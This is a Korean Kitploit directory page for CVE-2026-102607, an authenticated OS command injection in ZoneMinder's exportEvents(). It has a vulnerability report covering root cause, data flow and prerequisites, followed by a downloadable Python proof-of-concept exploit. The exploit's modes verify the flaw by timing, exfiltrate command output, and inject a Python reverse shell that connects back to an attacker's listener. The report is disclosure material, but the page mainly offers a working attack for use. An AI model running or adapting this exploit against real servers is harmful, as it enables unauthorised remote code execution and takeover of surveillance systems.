Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-102607-ZoneMinder — Python PoC로, ZoneMinder <= 1.38.1의 exportEvents()에서 발생하는 인증된 OS 명령어 주입 취약점인 CVE-2026-102607을 악용하여 RCE, 명령어 출력 유출, 리버스 셸을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/d4kw1n/cve-2026-102607-zoneminder
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingCommand and ControlRemote Access Trojan
GitHub
d4kw1n/cve-2026-102607-zoneminder

CVE-2026-102607-ZoneMinder

Python PoC로, ZoneMinder <= 1.38.1의 exportEvents()에서 발생하는 인증된 OS 명령어 주입 취약점인 CVE-2026-102607을 악용하여 RCE, 명령어 출력 유출, 리버스 셸을 가능하게 합니다.

저장소 보기
16개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

보안 취약점 보고서: ZoneMinder exportEvents()의 OS 명령어 주입

요약

인증된 OS 명령어 주입 취약점이 ZoneMinder의 이벤트 내보내기 기능에 존재합니다. exportFile HTTP 요청 파라미터가 PHP의 exec()를 통해 실행되는 셸 명령어에 정제 없이 전달되어, View Events 권한을 가진 모든 인증된 사용자가 서버에서 임의의 운영체제 명령어를 실행할 수 있습니다.

이 취약점은 웹 서버 사용자(www-data) 권한으로 완전한 원격 코드 실행(RCE)을 초래합니다.

심각도

  • CVSS v3.1 점수: 8.8. (높음)
  • CVSS 벡터: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • CWE: CWE-78 (OS 명령어에 사용되는 특수 요소의 부적절한 중화)

영향받는 버전

  • ZoneMinder ≤ 1.38.1 (작성 시점 최신 릴리스)
  • ZoneMinder 1.38.1에서 확인됨

취약점 세부 정보

위치

  • 진입점: web/ajax/event.php, 103번째 줄
  • 취약한 함수: web/skins/classic/includes/export_functions.php의 exportEvents(), 1030–1032번째 줄

근본 원인

exportEvents() 함수는 $_REQUEST['exportFile']에서 직접 가져온 $export_root 파라미터를 받습니다 (ajax/event.php, 103번째 줄을 통해). 이 파라미터는 tar 및 zip 명령어에 추가되는 디렉터리 경로를 구성하는 데 사용됩니다.

1020번째 줄의 아카이브 파일 경로($archive_path)는 escapeshellarg()를 사용하여 적절히 이스케이프되지만, 1030번째 줄의 후행 디렉터리 인수는 어떠한 정제 없이 명령어 문자열에 직접 연결됩니다:

// Line 1020 — properly escaped ✓
$command .= ' --file='.escapeshellarg($archive_path);

// Line 1030 — NOT escaped ✗ (VULNERABLE)
$command .= ' '.$export_root.($connkey?'_'.$connkey:'').'/';

// Line 1032 — executed
exec($command, $output, $status);

공격자는 exportFile 파라미터에 셸 메타문자(;, |, && 등)를 주입하여 의도된 tar/zip 명령어를 벗어나 임의의 명령어를 실행할 수 있습니다. PHP가 추가하는 후행 /는 # (셸 주석 문자)을 사용하여 무력화할 수 있습니다.

데이터 흐름

HTTP Request: $_REQUEST['exportFile']
        │
        ▼
ajax/event.php (line 103)
    └── exportEvents(..., $_REQUEST['exportFile'])
                │
                ▼
export_functions.php (line 890)
    └── $export_root = $_REQUEST['exportFile']   // No sanitization
                │
                ▼
export_functions.php (line 1030)
    └── $command .= ' ' . $export_root . '/'     // Direct concatenation
                │
                ▼
export_functions.php (line 1032)
    └── exec($command)                           // OS Command Execution

전제 조건

  • 인증: View Events 또는 View Snapshots 권한을 가진 모든 인증된 사용자.
  • CSRF 토큰: 유효한 __csrf_magic 토큰이 포함되어야 합니다 (모든 ZoneMinder 페이지에서 가져올 수 있음).
  • exportDetail=1: 존재하지 않는 이벤트 ID를 사용할 때 exportEventImagesMaster()에서 PHP 치명적 오류를 방지하기 위해 이 파라미터가 요청에 포함되어야 합니다.

개념 증명

코드 PoC

#!/usr/bin/env python3
"""
=====================================================================

Affected Version : ZoneMinder <= 1.38.1
Tested On        : ZoneMinder 1.38.1 (Docker)
Vulnerability    : OS Command Injection in exportEvents()
CVSS Score       : 9.9 (Critical)
Attack Vector    : Network (Authenticated)
File             : web/skins/classic/includes/export_functions.php
Sink             : exec() at line 1032

Description:
    The exportEvents() function in ZoneMinder constructs shell commands
    for `tar` and `zip` archival using unsanitized user input from the
    `exportFile` HTTP request parameter. This parameter is used as the
    `$export_root` variable, which is directly concatenated into the
    command string passed to exec() without escapeshellarg() or any
    equivalent sanitization.

    An authenticated attacker with "View Events" permission can inject
    arbitrary OS commands by appending shell metacharacters (;) to the
    `exportFile` parameter, achieving Remote Code Execution as the
    web server user (www-data).

Usage:
    1. Start a listener on your attack machine:
       $ nc -lvnp <LPORT>

    2. Run this exploit:
       $ python3 poc.py --target http://<TARGET>/zm --lhost <LHOST> --lport <LPORT>

    3. The exploit supports three modes:
       --mode check   : Verify the vulnerability (sleep-based timing)
       --mode whoami  : Extract the output of `whoami`
       --mode revshell: Spawn a reverse shell to LHOST:LPORT

Author : d4kw1n
Date   : 2026-03-10
"""

import argparse
import re
import sys
import time
import urllib.parse

try:
    import requests
except ImportError:
    print("[-] 'requests' library required. Install with: pip install requests")
    sys.exit(1)


BANNER = r"""
  ZoneMinder - Authenticated RCE via exportEvents() Command Injection - d4kw1n
"""


class ZMExploit:
    def __init__(self, target, lhost=None, lport=None, session_cookie=None):
        self.target = target.rstrip("/")
        self.lhost = lhost
        self.lport = lport
        self.session = requests.Session()
        self.session.verify = False

        if session_cookie:
            self.session.cookies.set("ZMSESSID", session_cookie)

    def get_csrf_token(self):
        """Fetch a valid CSRF token from the target."""
        res = self.session.get(f"{self.target}/index.php", timeout=10)
        match = re.search(r'var csrfMagicToken = "(.*?)";', res.text)
        if not match:
            print("[-] Failed to extract CSRF token. Is the target reachable?")
            return None
        return match.group(1)

    def send_payload(self, payload):
        """Send the injection payload via the export action."""
        csrf = self.get_csrf_token()
        if not csrf:
            return None

        data = {
            "view": "request",
            "request": "event",
            "action": "export",
            "exportFormat": "tar",
            "exportDetail": "1",
            "eids[]": "1",
            "exportFile": payload,
            "__csrf_magic": csrf,
        }
        try:
            return self.session.post(
                f"{self.target}/index.php", data=data, timeout=30
            )
        except requests.exceptions.ReadTimeout:
            return None

    def read_output(self, filename):
        """Read exfiltrated command output via archive.php."""
        res = self.session.get(
            f"{self.target}/index.php?view=archive&type=tar&file={filename}",
            timeout=10,
        )
        return res.text.strip()

    # ── Mode: check ──────────────────────────────────────────────
    def check(self):
        """Verify the vulnerability using a timing-based approach."""
        delay = 5
        print(f"[*] Sending sleep {delay} payload for timing verification...")

        payload = f"a; sleep {delay}; #"
        start = time.time()
        self.send_payload(payload)
        elapsed = time.time() - start

        print(f"[*] Response time: {elapsed:.2f}s (expected >= {delay}s)")
        if elapsed >= delay:
            print("[+] VULNERABLE - Command injection confirmed!")
            return True
        else:
            print("[-] NOT VULNERABLE or target unreachable.")
            return False

    # ── Mode: whoami ─────────────────────────────────────────────
    def whoami(self):
        """Extract the web server user via command output exfiltration."""
        outfile = "whoami.tar"
        print(f"[*] Injecting: whoami > {outfile}")

        self.send_payload(f"a; whoami > {outfile}; #")
        result = self.read_output(outfile)

        if result:
            print(f"[+] Server running as: {result}")
        else:
            print("[-] Could not retrieve output.")
        return result

    # ── Mode: revshell ───────────────────────────────────────────
    def revshell(self):
        """Spawn a reverse shell using python3 on the target."""
        if not self.lhost or not self.lport:
            print("[-] --lhost and --lport are required for reverse shell mode.")
            return False

        print(f"[*] Sending reverse shell payload -> {self.lhost}:{self.lport}")
        print("[*] Make sure your listener is running: nc -lvnp {self.lport}")

        py_revshell = (
            f'export RHOST="{self.lhost}";export RPORT={self.lport};'
            f"python3 -c 'import sys,socket,os,pty;"
            f"s=socket.socket();"
            f's.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));'
            f"[os.dup2(s.fileno(),fd) for fd in (0,1,2)];"
            f"pty.spawn(\"sh\")'"
        )

        payload = f"a; {py_revshell}; #"
        self.send_payload(payload)
도구 다운로드